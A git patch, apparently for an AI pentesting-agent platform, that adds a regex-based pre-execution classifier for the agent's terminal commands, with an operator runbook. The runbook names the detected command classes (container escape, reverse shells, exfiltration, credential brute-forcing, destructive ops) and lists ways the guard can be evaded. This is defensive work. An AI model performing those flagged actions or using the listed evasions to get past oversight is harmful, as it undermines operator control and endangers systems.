From 23b18104ee103cbda91a2ca59d4dcd032f6dfe31 Mon Sep 17 00:00:00 2001 From: loog4j Date: Thu, 20 Aug 2026 10:20:50 -0700 Subject: [PATCH] feat(tools): add Deaf Guard pre-execution command classification MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Intercept terminal tool calls with a 9-tier classifier, Settings → Security controls, and a live flow tab so operators can log, warn, or block risky sandbox commands before they run. --- .env.example | 10 + README.md | 9 + .../installer/wizard/controller/controller.go | 14 + backend/cmd/installer/wizard/locale/locale.go | 13 + .../wizard/models/ai_agents_settings_form.go | 71 +- backend/docs/config.md | 3 + backend/docs/deaf-guard.md | 209 ++ backend/pkg/config/config.go | 4 + backend/pkg/config/config_test.go | 7 + backend/pkg/controller/assistant.go | 2 + backend/pkg/controller/deafguard_events.go | 100 + .../pkg/controller/deafguard_events_test.go | 145 ++ backend/pkg/controller/flow.go | 6 + backend/pkg/graph/generated.go | 1959 +++++++++++++---- backend/pkg/graph/model/models_gen.go | 14 + backend/pkg/graph/schema.graphqls | 24 + backend/pkg/graph/schema.resolvers.go | 33 + backend/pkg/graph/subscriptions/controller.go | 4 + backend/pkg/graph/subscriptions/publisher.go | 10 + backend/pkg/graph/subscriptions/subscriber.go | 4 + backend/pkg/server/models/settings.go | 12 + backend/pkg/server/response/errors.go | 2 + backend/pkg/server/router.go | 6 + backend/pkg/server/services/settings.go | 72 + backend/pkg/tools/deafguard/deafguard.go | 349 +++ backend/pkg/tools/deafguard/deafguard_test.go | 308 +++ backend/pkg/tools/deafguard/rules.go | 187 ++ backend/pkg/tools/executor.go | 34 +- backend/pkg/tools/tools.go | 96 +- docker-compose.yml | 2 + frontend/e2e/mocks/cassettes/flows.ts | 2 + frontend/graphql-schema.graphql | 23 + frontend/src/app.tsx | 6 + .../settings/settings-sidebar.test.tsx | 6 + .../layouts/settings/settings-sidebar.tsx | 8 +- .../flows/deaf-guard/flow-deaf-guard.tsx | 611 +++++ .../src/features/flows/deaf-guard/lib.test.ts | 213 ++ frontend/src/features/flows/deaf-guard/lib.ts | 154 ++ frontend/src/features/flows/flow-tabs.tsx | 9 + frontend/src/graphql/types.ts | 145 ++ frontend/src/lib/apollo.ts | 2 + frontend/src/lib/route-titles/index.ts | 2 + frontend/src/lib/routes.test.ts | 1 + frontend/src/lib/routes.ts | 1 + .../src/pages/settings/settings-security.tsx | 302 +++ frontend/src/providers/flow-provider.tsx | 4 +- 46 files changed, 4687 insertions(+), 511 deletions(-) create mode 100644 backend/docs/deaf-guard.md create mode 100644 backend/pkg/controller/deafguard_events.go create mode 100644 backend/pkg/controller/deafguard_events_test.go create mode 100644 backend/pkg/tools/deafguard/deafguard.go create mode 100644 backend/pkg/tools/deafguard/deafguard_test.go create mode 100644 backend/pkg/tools/deafguard/rules.go create mode 100644 frontend/src/features/flows/deaf-guard/flow-deaf-guard.tsx create mode 100644 frontend/src/features/flows/deaf-guard/lib.test.ts create mode 100644 frontend/src/features/flows/deaf-guard/lib.ts create mode 100644 frontend/src/pages/settings/settings-security.tsx diff --git a/.env.example b/.env.example index 696a5b9e3..67d4d0346 100644 --- a/.env.example +++ b/.env.example @@ -131,6 +131,16 @@ MAX_LIMITED_AGENT_TOOL_CALLS= ## Agent planning step for pentester, coder, installer AGENT_PLANNING_STEP_ENABLED= +## Deaf Guard — pre-execution command classification engine +## See backend/docs/deaf-guard.md for management, tier taxonomy, and debug guidance. +## DEAF_GUARD_ENABLED : master switch (true/false). When false, no classification happens. +## DEAF_GUARD_MODE : enforcement posture. +## log = classify and record only, never block (default baseline) +## warn = BLOCK-tier commands are blocked; WARN-tier is allowed +## enforce = BLOCK-tier and WARN-tier commands are both hard-blocked +DEAF_GUARD_ENABLED=true +DEAF_GUARD_MODE=log + ## HTTP proxy to use it in isolation environment PROXY_URL= diff --git a/README.md b/README.md index 74ccf132d..7ceac716d 100644 --- a/README.md +++ b/README.md @@ -488,6 +488,15 @@ PentAGI includes sophisticated multi-layered agent supervision mechanisms to ens **Enhanced Adviser Configuration**: Works exceptionally well when adviser agent uses stronger model or enhanced settings. Example: using same base model with maximum reasoning mode for adviser (see [`vllm-qwen3.5-27b-fp8.provider.yml`](examples/configs/vllm-qwen3.5-27b-fp8.provider.yml)) enables comprehensive task analysis and strategic planning from identical model architecture. +### Deaf Guard +- **Pre-execution classification**: Every `terminal` tool call is matched against a 9-tier regex rule table before it runs in the sandbox +- **Modes**: `log` (record only), `warn` (block BLOCK-tier), `enforce` (block BLOCK and WARN) +- **Settings UI**: Settings → Security toggles enabled/mode at runtime (applies to the next flow) +- **Flow UI**: Deaf Guard tab on a flow (between Agents and Searches) streams live classifications +- **Configurable**: `DEAF_GUARD_ENABLED` (default: true) and `DEAF_GUARD_MODE` (default: log) + +Full management reference: [`backend/docs/deaf-guard.md`](backend/docs/deaf-guard.md). + **Performance Impact**: Adds planning overhead but significantly improves completion rates and reduces redundant work ### Tool Call Limits (Always Active) diff --git a/backend/cmd/installer/wizard/controller/controller.go b/backend/cmd/installer/wizard/controller/controller.go index d7ba51cb3..c59a97d3c 100644 --- a/backend/cmd/installer/wizard/controller/controller.go +++ b/backend/cmd/installer/wizard/controller/controller.go @@ -1389,6 +1389,8 @@ type AIAgentsConfig struct { MaxGeneralAgentToolCalls loader.EnvVar // MAX_GENERAL_AGENT_TOOL_CALLS MaxLimitedAgentToolCalls loader.EnvVar // MAX_LIMITED_AGENT_TOOL_CALLS AgentPlanningStepEnabled loader.EnvVar // AGENT_PLANNING_STEP_ENABLED + DeafGuardEnabled loader.EnvVar // DEAF_GUARD_ENABLED + DeafGuardMode loader.EnvVar // DEAF_GUARD_MODE } func (c *controller) GetAIAgentsConfig() *AIAgentsConfig { @@ -1402,6 +1404,8 @@ func (c *controller) GetAIAgentsConfig() *AIAgentsConfig { config.MaxGeneralAgentToolCalls, _ = c.GetVar("MAX_GENERAL_AGENT_TOOL_CALLS") config.MaxLimitedAgentToolCalls, _ = c.GetVar("MAX_LIMITED_AGENT_TOOL_CALLS") config.AgentPlanningStepEnabled, _ = c.GetVar("AGENT_PLANNING_STEP_ENABLED") + config.DeafGuardEnabled, _ = c.GetVar("DEAF_GUARD_ENABLED") + config.DeafGuardMode, _ = c.GetVar("DEAF_GUARD_MODE") return config } @@ -1435,6 +1439,12 @@ func (c *controller) UpdateAIAgentsConfig(config *AIAgentsConfig) error { if err := c.SetVar("AGENT_PLANNING_STEP_ENABLED", config.AgentPlanningStepEnabled.Value); err != nil { return fmt.Errorf("failed to set AGENT_PLANNING_STEP_ENABLED: %w", err) } + if err := c.SetVar("DEAF_GUARD_ENABLED", config.DeafGuardEnabled.Value); err != nil { + return fmt.Errorf("failed to set DEAF_GUARD_ENABLED: %w", err) + } + if err := c.SetVar("DEAF_GUARD_MODE", config.DeafGuardMode.Value); err != nil { + return fmt.Errorf("failed to set DEAF_GUARD_MODE: %w", err) + } return nil } @@ -2414,6 +2424,8 @@ func (c *controller) getVariableDescription(varName string) string { "MAX_GENERAL_AGENT_TOOL_CALLS": locale.EnvDesc_MAX_GENERAL_AGENT_TOOL_CALLS, "MAX_LIMITED_AGENT_TOOL_CALLS": locale.EnvDesc_MAX_LIMITED_AGENT_TOOL_CALLS, "AGENT_PLANNING_STEP_ENABLED": locale.EnvDesc_AGENT_PLANNING_STEP_ENABLED, + "DEAF_GUARD_ENABLED": locale.EnvDesc_DEAF_GUARD_ENABLED, + "DEAF_GUARD_MODE": locale.EnvDesc_DEAF_GUARD_MODE, "SCRAPER_PUBLIC_URL": locale.EnvDesc_SCRAPER_PUBLIC_URL, "SCRAPER_PRIVATE_URL": locale.EnvDesc_SCRAPER_PRIVATE_URL, @@ -2728,6 +2740,8 @@ var criticalVariables = map[string]bool{ "MAX_GENERAL_AGENT_TOOL_CALLS": true, "MAX_LIMITED_AGENT_TOOL_CALLS": true, "AGENT_PLANNING_STEP_ENABLED": true, + "DEAF_GUARD_ENABLED": true, + "DEAF_GUARD_MODE": true, "TENANT_ID": true, "LICENSE_KEY": true, diff --git a/backend/cmd/installer/wizard/locale/locale.go b/backend/cmd/installer/wizard/locale/locale.go index 248739836..1aa51221c 100644 --- a/backend/cmd/installer/wizard/locale/locale.go +++ b/backend/cmd/installer/wizard/locale/locale.go @@ -1478,6 +1478,10 @@ Tool Call Limits: Task Planning (⚠️ BETA): • Enable Task Planning: generate structured execution plans for specialist agents +Deaf Guard: +• Enable Deaf Guard: classify terminal commands before execution +• Deaf Guard Mode: log (record only), warn (block BLOCK-tier), enforce (block BLOCK and WARN) + ⚠️ BETA features are under active development. Enable for testing only.` // field labels and descriptions @@ -1497,6 +1501,10 @@ Task Planning (⚠️ BETA): ToolsAIAgentsSettingMaxLimitedToolCallsDesc = "Maximum tool calls for Searcher, Enricher, Memorist, etc." ToolsAIAgentsSettingTaskPlanning = "Enable Task Planning (beta)" ToolsAIAgentsSettingTaskPlanningDesc = "Generate structured execution plans for specialist agents" + ToolsAIAgentsSettingDeafGuardEnabled = "Enable Deaf Guard" + ToolsAIAgentsSettingDeafGuardEnabledDesc = "Classify terminal commands before execution (Settings → Security)" + ToolsAIAgentsSettingDeafGuardMode = "Deaf Guard Mode" + ToolsAIAgentsSettingDeafGuardModeDesc = "log (record only), warn (block BLOCK-tier), enforce (block BLOCK and WARN)" // help content ToolsAIAgentsSettingsHelp = `AI Agents Settings define how agents collaborate, interact with users, and handle execution control. @@ -1514,6 +1522,9 @@ Generates 3-7 step execution plans before specialist agents begin work. Prevents Tool Call Limits (always active): Hard limits prevent infinite loops: General agents default 100, Limited agents default 20. Works independently from beta features. +Deaf Guard: +Classifies every terminal command against a 9-tier rule table before execution. Modes: log (record only), warn (block BLOCK-tier), enforce (block BLOCK and WARN). Runtime toggles also live in Settings → Security. + OPEN SOURCE MODELS < 32B (Qwen3.5-27B, DeepSeek-V3, Llama-3.1-70B): ✓ ENABLE both beta features - ESSENTIAL for quality results ✓ Testing shows 2x improvement in result quality vs. baseline @@ -2419,6 +2430,8 @@ const ( EnvDesc_MAX_GENERAL_AGENT_TOOL_CALLS = "Max Tool Calls for General Agents" EnvDesc_MAX_LIMITED_AGENT_TOOL_CALLS = "Max Tool Calls for Limited Agents" EnvDesc_AGENT_PLANNING_STEP_ENABLED = "Enable Task Planning (beta)" + EnvDesc_DEAF_GUARD_ENABLED = "Enable Deaf Guard command classification" + EnvDesc_DEAF_GUARD_MODE = "Deaf Guard mode (log, warn, enforce)" EnvDesc_SCRAPER_PUBLIC_URL = "Scraper Public URL" EnvDesc_SCRAPER_PRIVATE_URL = "Scraper Private URL" diff --git a/backend/cmd/installer/wizard/models/ai_agents_settings_form.go b/backend/cmd/installer/wizard/models/ai_agents_settings_form.go index efd2e5be4..09fffa0f5 100644 --- a/backend/cmd/installer/wizard/models/ai_agents_settings_form.go +++ b/backend/cmd/installer/wizard/models/ai_agents_settings_form.go @@ -92,6 +92,18 @@ func (m *AIAgentsSettingsFormModel) BuildForm() tea.Cmd { locale.ToolsAIAgentsSettingTaskPlanningDesc, cfg.AgentPlanningStepEnabled, ), + m.createBooleanField( + "deaf_guard_enabled", + locale.ToolsAIAgentsSettingDeafGuardEnabled, + locale.ToolsAIAgentsSettingDeafGuardEnabledDesc, + cfg.DeafGuardEnabled, + ), + m.createTextField( + "deaf_guard_mode", + locale.ToolsAIAgentsSettingDeafGuardMode, + locale.ToolsAIAgentsSettingDeafGuardModeDesc, + cfg.DeafGuardMode, + ), } m.SetFormFields(fields) @@ -134,6 +146,23 @@ func (m *AIAgentsSettingsFormModel) createIntegerField(key, title, description s } } +func (m *AIAgentsSettingsFormModel) createTextField(key, title, description string, envVar loader.EnvVar) FormField { + input := NewTextInput(m.GetStyles(), m.GetWindow(), envVar) + if envVar.Default != "" { + input.Placeholder = envVar.Default + } + + return FormField{ + Key: key, + Title: title, + Description: description, + Required: false, + Masked: false, + Input: input, + Value: input.Value(), + } +} + func (m *AIAgentsSettingsFormModel) validateBooleanField(value, fieldName string) error { if value != "" && value != "true" && value != "false" { return fmt.Errorf("invalid boolean value for %s: %s (must be 'true' or 'false')", fieldName, value) @@ -158,6 +187,18 @@ func (m *AIAgentsSettingsFormModel) validateIntegerField(value, fieldName string return intVal, nil } +func (m *AIAgentsSettingsFormModel) validateDeafGuardMode(value string) error { + if value == "" { + return nil + } + switch strings.ToLower(value) { + case "log", "warn", "enforce": + return nil + default: + return fmt.Errorf("invalid Deaf Guard mode: %s (must be 'log', 'warn', or 'enforce')", value) + } +} + func (m *AIAgentsSettingsFormModel) formatNumber(n int) string { if n >= 1000 { return fmt.Sprintf("%d,%03d", n/1000, n%1000) @@ -229,6 +270,8 @@ func (m *AIAgentsSettingsFormModel) GetCurrentConfiguration() string { // task planning displayBoolean(cfg.AgentPlanningStepEnabled, locale.ToolsAIAgentsSettingTaskPlanning) + displayBoolean(cfg.DeafGuardEnabled, locale.ToolsAIAgentsSettingDeafGuardEnabled) + displayInteger(cfg.DeafGuardMode, locale.ToolsAIAgentsSettingDeafGuardMode) return strings.Join(sections, "\n") } @@ -242,7 +285,9 @@ func (m *AIAgentsSettingsFormModel) IsConfigured() bool { cfg.ExecutionMonitorTotalToolLimit.IsPresent() || cfg.ExecutionMonitorTotalToolLimit.IsChanged || cfg.MaxGeneralAgentToolCalls.IsPresent() || cfg.MaxGeneralAgentToolCalls.IsChanged || cfg.MaxLimitedAgentToolCalls.IsPresent() || cfg.MaxLimitedAgentToolCalls.IsChanged || - cfg.AgentPlanningStepEnabled.IsPresent() || cfg.AgentPlanningStepEnabled.IsChanged + cfg.AgentPlanningStepEnabled.IsPresent() || cfg.AgentPlanningStepEnabled.IsChanged || + cfg.DeafGuardEnabled.IsPresent() || cfg.DeafGuardEnabled.IsChanged || + cfg.DeafGuardMode.IsPresent() || cfg.DeafGuardMode.IsChanged } func (m *AIAgentsSettingsFormModel) GetHelpContent() string { @@ -255,7 +300,7 @@ func (m *AIAgentsSettingsFormModel) GetHelpContent() string { func (m *AIAgentsSettingsFormModel) HandleSave() error { fields := m.GetFormFields() - if len(fields) != 8 { + if len(fields) != 10 { return fmt.Errorf("unexpected number of fields: %d", len(fields)) } @@ -269,6 +314,8 @@ func (m *AIAgentsSettingsFormModel) HandleSave() error { MaxGeneralAgentToolCalls: cur.MaxGeneralAgentToolCalls, MaxLimitedAgentToolCalls: cur.MaxLimitedAgentToolCalls, AgentPlanningStepEnabled: cur.AgentPlanningStepEnabled, + DeafGuardEnabled: cur.DeafGuardEnabled, + DeafGuardMode: cur.DeafGuardMode, } // validate and set each field @@ -328,6 +375,18 @@ func (m *AIAgentsSettingsFormModel) HandleSave() error { } newCfg.AgentPlanningStepEnabled.Value = value + case "deaf_guard_enabled": + if err := m.validateBooleanField(value, locale.ToolsAIAgentsSettingDeafGuardEnabled); err != nil { + return err + } + newCfg.DeafGuardEnabled.Value = value + + case "deaf_guard_mode": + if err := m.validateDeafGuardMode(value); err != nil { + return err + } + newCfg.DeafGuardMode.Value = value + default: return fmt.Errorf("unknown field key at index %d: %s", i, field.Key) } @@ -377,6 +436,14 @@ func (m *AIAgentsSettingsFormModel) HandleReset() { fields[7].Input.SetValue(cfg.AgentPlanningStepEnabled.Value) fields[7].Value = fields[7].Input.Value() } + if len(fields) >= 9 { + fields[8].Input.SetValue(cfg.DeafGuardEnabled.Value) + fields[8].Value = fields[8].Input.Value() + } + if len(fields) >= 10 { + fields[9].Input.SetValue(cfg.DeafGuardMode.Value) + fields[9].Value = fields[9].Input.Value() + } m.SetFormFields(fields) } diff --git a/backend/docs/config.md b/backend/docs/config.md index 923a51d86..e0d29a4c5 100644 --- a/backend/docs/config.md +++ b/backend/docs/config.md @@ -124,6 +124,7 @@ The running PentAGI instance already exposes several settings areas in the web U - **Settings -> Providers**: Manage user-defined provider profiles, per-agent model and runtime options, and provider test actions for provider types supported by the running server. - **Settings -> Prompts**: Manage system, human, and tool prompt templates. - **Settings -> PentAGI API**: Create, revoke, and delete PentAGI API tokens. +- **Settings -> Security**: Enable Deaf Guard and set enforcement mode (`log` / `warn` / `enforce`). Runtime changes apply to new flows only; see [deaf-guard.md](./deaf-guard.md). - **Other UI-managed preferences**: Favorite flows are stored as user preferences, and theme selection is handled client-side from the main sidebar/profile controls. These web-console features do not replace the environment variables in this guide for provider credentials, endpoints, or external integrations. @@ -1900,6 +1901,8 @@ These settings control the agent supervision system, including execution monitor | MaxGeneralAgentToolCalls | `MAX_GENERAL_AGENT_TOOL_CALLS` | `100` | Maximum tool calls for general agents (Assistant, Primary, Pentester, Coder, Installer) | | MaxLimitedAgentToolCalls | `MAX_LIMITED_AGENT_TOOL_CALLS` | `20` | Maximum tool calls for limited agents (Searcher, Enricher, etc.) | | AgentPlanningStepEnabled | `AGENT_PLANNING_STEP_ENABLED` | `false` | Enable automatic task planning for specialist agents | +| DeafGuardEnabled | `DEAF_GUARD_ENABLED` | `true` | Master switch for pre-execution terminal command classification | +| DeafGuardMode | `DEAF_GUARD_MODE` | `log` | Enforcement posture: `log` (record only), `warn` (block BLOCK-tier), `enforce` (block BLOCK and WARN) | ### Usage Details diff --git a/backend/docs/deaf-guard.md b/backend/docs/deaf-guard.md new file mode 100644 index 000000000..34e696dd5 --- /dev/null +++ b/backend/docs/deaf-guard.md @@ -0,0 +1,209 @@ +# Deaf Guard — Operator Runbook + +Management, configuration, and debugging reference for the Deaf Guard command classification engine. + +- Source: `backend/pkg/tools/deafguard/` +- Integration point: `backend/pkg/tools/executor.go` + +## 1. What Deaf Guard is + +Deaf Guard is a pre-execution command classification layer that sits between the AI agent's tool-call request and the sandboxed Kali container. Every `terminal` tool call is read, classified against a 9-tier rule table (~50 regex rules), and one of three actions is returned: LOG (safe), WARN (aggressive but defensible), or BLOCK (dangerous). The current enforcement mode determines whether a classification just gets recorded, gets returned to the agent as a warning, or hard-blocks execution. + +Non-terminal tools (`search`, `browser`, `file`, `memorist`, and others) short-circuit with an allow-all result and are not classified. + +## 2. Where Deaf Guard is configured + +There are three places Deaf Guard reads configuration from, in the following order of precedence: + +1. **Flow snapshot.** When a flow is created, the current Deaf Guard config is captured into the flow's tool context. Runtime changes via the API or UI do not affect already-running flows — only new flows pick up the new config. +2. **REST API / Settings UI.** `GET /api/v1/deafguard/config` and `PUT /api/v1/deafguard/config` expose `{enabled, mode}`. Settings → Security wraps this API. +3. **Environment variables.** Read from `.env` at backend startup. These are the fallback defaults if nothing has been overridden via the API. + +## 3. Environment variables + +| Variable | Type | Default | Purpose | +|---|---|---|---| +| `DEAF_GUARD_ENABLED` | bool | `true` | Master switch. When `false`, every tool call returns allow-all without classification. | +| `DEAF_GUARD_MODE` | string | `log` | Enforcement posture. Valid values: `log`, `warn`, `enforce`. | +| `DEBUG` | bool | `false` | When `true`, logrus log level drops to Debug, which reveals LOG-tier Deaf Guard classifications (the safe majority). Also affects all other backend logging. | + +Defined in `backend/pkg/config/config.go`. Mode validation is re-applied inside `deafguard.New()` — any value outside `log/warn/enforce` silently falls back to `log`. + +## 4. Enforcement modes + +| Mode | BLOCK-tier commands | WARN-tier commands | LOG-tier commands | Typical use | +|---|---|---|---|---| +| `log` | Allowed, classified | Allowed, classified | Allowed, classified | Baseline observation. Collect classification data from real flows before tightening. | +| `warn` | Blocked; agent receives a warning | Allowed, classified | Allowed, classified | Transitional. Agent can see BLOCK hits and adjust; operator still reviews WARNs out of band. | +| `enforce` | Hard-blocked | Hard-blocked | Allowed, classified | Restrictive posture. Only LOG-tier commands execute. | + +Promotion path is **log → warn → enforce**. Do not skip modes; the transition from `log` to `warn` surfaces false positives and tuning gaps that are much harder to diagnose after enforce. + +## 5. The 9 tiers at a glance + +| Tier | Category | Default action | Examples | +|---|---|---|---| +| 1 | Container Escape | BLOCK | Docker socket, `nsenter`, `chroot`, host `/proc/1/*`, Docker/kubectl CLI | +| 2 | Destructive File Ops | BLOCK | Recursive deletion of system paths, `shred`, writing to block devices, `mkfs` | +| 3 | Network DoS | BLOCK | Flood tools, fork bombs, `stress-ng`, flood ping, nmap DoS scripts | +| 4 | Persistence / Implants | BLOCK | Account creation, SSH key injection, cron, systemd unit paths | +| 5 | Reverse Shells / Exfil | WARN | Reverse-shell patterns, `scp`, `rsync`, file uploads | +| 6 | Credential Abuse | WARN | Brute-force / credential tools — verify target is in scope | +| 7 | Aggressive Pentest Flags | WARN | High-risk sqlmap flags, nmap exploit/brute scripts, very high thread counts | +| 8 | Standard Pentesting | LOG | Default-flag recon and testing tools | +| 9 | Local Utility | LOG | Container-internal utilities and the no-rule-matched fallback | + +Full regex set: `backend/pkg/tools/deafguard/rules.go`. Human-readable descriptions live in `CategoryInfo` in the same file and feed the Settings UI. + +## 6. The Deaf Guard tab — primary operator surface + +Classifications stream live into the **Deaf Guard** tab in the flow detail view, sitting between Agents and Searches. Open any running flow and click the tab — events appear as they fire, with no restart or refresh required. + +**What the tab shows:** + +- **Counter pills** at the top break down all events by action (`block` / `warn` / `log`) and by tier (T1–T9). These pills count the full event set for the flow, regardless of any filters applied below. +- **Filter bar** supports multi-select tier, multi-select action, and a 500 ms debounced search that matches against both the `command` and `reason` fields. Filters compose (tier AND action AND search); clearing all filters shows everything. +- **Row list** renders newest first. Each row shows timestamp, tier badge, action badge, outcome (allowed/blocked), and a truncated command. Rows are left-bordered by severity band — tiers 1–4 destructive (red), 5–7 warn (amber), 8–9 neutral (grey). Click any row to expand and see the full reason, category, risk, mode, allowed flag, and the full command. +- **Empty state** differentiates between "no events yet" (flow hasn't classified anything) and "no events match your filters" (offers a reset button). + +**Scope caveats:** + +- Events are **in-memory only** in the browser session. Closing the tab mid-flow and reopening does not replay prior events. Persistence is not implemented; the GraphQL `deafGuardEvents` query always returns an empty list so Apollo can append live `deafGuardEventAdded` events. +- Events are scoped per flow. Switching flows via the sidebar resets the tab state. +- Under extreme classification bursts a slow subscriber may drop events — the backend channel uses non-blocking sends. If you need guaranteed capture for audit or evidence, fall back to the container log approach in §9. + +## 7. Debug mode — seeing every classification + +By default, only **BLOCK** and **WARN** classifications are visible in `docker compose logs pentagi`. LOG-tier classifications (the safe majority) are written at Debug level and suppressed at the default Info log level. The **Deaf Guard tab** surfaces all classifications regardless of log level — use the tab first; enable DEBUG below only when you need correlated backend log lines. + +To see every classification including LOG-tier: + +```bash +# Flip DEBUG in .env (add it if the line doesn't exist) +grep -q '^DEBUG=' .env && sed -i '' 's/^DEBUG=.*/DEBUG=true/' .env || echo 'DEBUG=true' >> .env + +# Restart the backend — config is read once at startup +docker compose restart pentagi + +# Tail classifications live +docker compose logs -f pentagi | grep 'deaf guard:' +``` + +To revert: + +```bash +sed -i '' 's/^DEBUG=.*/DEBUG=false/' .env +docker compose restart pentagi +``` + +Restarting the `pentagi` container terminates any in-flight flow. Finish or stop the current flow before enabling debug, unless you are intentionally starting fresh. + +## 8. Changing enforcement mode at runtime + +Three ways, listed in order of safety: + +### 8a. Settings → Security UI + +1. Open Settings → Security. +2. Toggle Enable Deaf Guard and/or Enforcement Mode. + +Changes apply to all **new** flows. Running flows retain their original snapshot. + +Requires the `settings.view` privilege. + +### 8b. REST API + +Successful responses use the standard PentAGI envelope `{ "status": "success", "data": { "enabled": ..., "mode": ... } }`. + +```bash +# Inspect current config +curl -sk https://localhost:8443/api/v1/deafguard/config \ + -H "Authorization: Bearer $PENTAGI_API_TOKEN" + +# Switch to warn mode +curl -sk -X PUT https://localhost:8443/api/v1/deafguard/config \ + -H "Authorization: Bearer $PENTAGI_API_TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"mode": "warn"}' +``` + +API tokens are generated in Settings → API Tokens. Session cookies also work from a logged-in browser session. + +### 8c. Environment variable + restart + +Edit `.env`, set `DEAF_GUARD_MODE=warn` or `enforce`, then `docker compose restart pentagi`. This also terminates running flows. Use this only for a persistent baseline change — runtime adjustments should go through the UI or API. + +## 9. Reading classification logs + +For live operator visibility, prefer the Deaf Guard tab. This section covers the container-log fallback for scripted analysis, evidence capture, or review after the browser session closed. + +Every classification writes a single structured logrus line with these fields: + +| Field | Meaning | +|---|---| +| `component` | Always `deaf_guard` — filter marker for grep/Loki queries | +| `command` | Truncated to 200 runes; original command the agent requested | +| `category` | One of the 9 categories | +| `tier` | 1 (worst) through 9 (safe) | +| `risk` | `none` / `low` / `medium` / `high` / `critical` | +| `action` | `block` / `warn` / `log` — what the classifier decided | +| `allowed` | What actually happened after mode was applied | +| `mode` | `log` / `warn` / `enforce` at the time of classification | +| `reason` | Which rule matched | + +### Useful log queries + +```bash +# Tail live +docker compose logs -f pentagi | grep 'deaf guard:' + +# Pull everything from the current run to a file +LOGFILE=dg-run-$(date +%Y%m%d-%H%M).log +docker compose logs pentagi 2>&1 | grep 'deaf guard:' > "$LOGFILE" + +# By-tier distribution +grep 'deaf guard:' "$LOGFILE" | grep -oE 'tier=[0-9]+' | sort | uniq -c | sort -rn + +# Only commands that were actually blocked +grep 'deaf guard:' "$LOGFILE" | grep 'allowed=false' +``` + +## 10. Known limitations + +- **Interpreter-nested commands.** Nested interpreter payloads can bypass regex matching of the inner command. +- **Encoding evasion.** Encoding, substitution, escape sequences, and PATH-qualified binaries can slip past pattern matching. +- **`file` tool is unclassified.** The agent can write via the `file` tool without Deaf Guard inspection. +- **No scope awareness.** The classifier does not know which hosts are in-scope for the flow. +- **Per-flow snapshot.** API / UI mode changes do not retroactively apply to running flows. +- **Shell parser is intentionally simple.** `splitCommand` splits on `; && || |` but does not handle heredocs, escaped quotes inside strings, or process substitution. + +## 11. Troubleshooting + +### No `deaf guard:` lines in logs at all + +- Confirm `DEAF_GUARD_ENABLED=true` in `.env` (or in the Settings UI runtime config). +- Confirm the agent is actually calling the `terminal` tool. Non-terminal tools do not emit classifications. +- Confirm the backend is running: `docker compose ps pentagi`. + +### Only BLOCK/WARN lines, no LOG lines + +Expected behavior at the default log level. Enable `DEBUG=true` to see LOG-tier. See §7. + +### A command I expected to block went through + +1. Open the Deaf Guard tab and search for the command. The row shows the action/tier and whether mode permitted it. +2. If the row shows `block` action but `allowed` outcome, the mode is `log`. Promote to `warn` or `enforce` per §8. +3. If the command does not appear in the tab or fell through to tier 9, the command evaded regex matching. Check for interpreter-nesting or encoding evasion (§10). Consider adding a rule in `rules.go` and a test in `deafguard_test.go`. + +### Changed mode in the UI but existing flow isn't respecting it + +Expected. Flow config is snapshotted at flow creation. Create a new flow to pick up the change. + +### Debug mode is very noisy + +`DEBUG=true` lowers the log level globally, not just for Deaf Guard. Filter with `grep 'deaf guard:'` during analysis. Flip `DEBUG=false` and restart when done. + +## 12. Related docs + +- [config.md](./config.md) — application configuration reference +- [flow_execution.md](./flow_execution.md) — how flows execute tool calls diff --git a/backend/pkg/config/config.go b/backend/pkg/config/config.go index 4e7acb3f4..d3a9e9778 100644 --- a/backend/pkg/config/config.go +++ b/backend/pkg/config/config.go @@ -268,6 +268,10 @@ type Config struct { // === Agent Planning Phase Configuration === AgentPlanningStepEnabled bool `env:"AGENT_PLANNING_STEP_ENABLED" envDefault:"false"` + // === Deaf Guard: Command Interception === + DeafGuardEnabled bool `env:"DEAF_GUARD_ENABLED" envDefault:"true"` + DeafGuardMode string `env:"DEAF_GUARD_MODE" envDefault:"log"` // log | warn | enforce + // === Database Configuration === DatabaseURL string `env:"DATABASE_URL" envDefault:"postgres://pentagiuser:pentagipass@pgvector:5432/pentagidb?sslmode=disable"` diff --git a/backend/pkg/config/config_test.go b/backend/pkg/config/config_test.go index bf8057535..738c3622a 100644 --- a/backend/pkg/config/config_test.go +++ b/backend/pkg/config/config_test.go @@ -317,6 +317,7 @@ func clearConfigEnv(t *testing.T) { "EXECUTION_MONITOR_ENABLED", "EXECUTION_MONITOR_SAME_TOOL_LIMIT", "EXECUTION_MONITOR_TOTAL_TOOL_LIMIT", "MAX_GENERAL_AGENT_TOOL_CALLS", "MAX_LIMITED_AGENT_TOOL_CALLS", "AGENT_PLANNING_STEP_ENABLED", + "DEAF_GUARD_ENABLED", "DEAF_GUARD_MODE", } for _, v := range envVars { t.Setenv(v, "") @@ -595,6 +596,8 @@ func TestNewConfig_AgentSupervisionDefaults(t *testing.T) { assert.Equal(t, 100, config.MaxGeneralAgentToolCalls) assert.Equal(t, 20, config.MaxLimitedAgentToolCalls) assert.Equal(t, false, config.AgentPlanningStepEnabled) + assert.Equal(t, true, config.DeafGuardEnabled) + assert.Equal(t, "log", config.DeafGuardMode) } func TestNewConfig_AgentSupervisionOverride(t *testing.T) { @@ -607,6 +610,8 @@ func TestNewConfig_AgentSupervisionOverride(t *testing.T) { t.Setenv("MAX_GENERAL_AGENT_TOOL_CALLS", "150") t.Setenv("MAX_LIMITED_AGENT_TOOL_CALLS", "30") t.Setenv("AGENT_PLANNING_STEP_ENABLED", "true") + t.Setenv("DEAF_GUARD_ENABLED", "false") + t.Setenv("DEAF_GUARD_MODE", "enforce") config, err := NewConfig() require.NoError(t, err) @@ -617,6 +622,8 @@ func TestNewConfig_AgentSupervisionOverride(t *testing.T) { assert.Equal(t, 150, config.MaxGeneralAgentToolCalls) assert.Equal(t, 30, config.MaxLimitedAgentToolCalls) assert.Equal(t, true, config.AgentPlanningStepEnabled) + assert.Equal(t, false, config.DeafGuardEnabled) + assert.Equal(t, "enforce", config.DeafGuardMode) } // TestWorkerDockerEnvDisabled pins the first rule: with DOCKER_INSIDE off, a diff --git a/backend/pkg/controller/assistant.go b/backend/pkg/controller/assistant.go index f8ac1f5c2..736fe04ba 100644 --- a/backend/pkg/controller/assistant.go +++ b/backend/pkg/controller/assistant.go @@ -225,6 +225,7 @@ func NewAssistantWorker(ctx context.Context, awc newAssistantWorkerCtx) (Assista executor.SetVectorStoreLogProvider(workers.vslw) executor.SetToolCallLogProvider(workers.tclw) 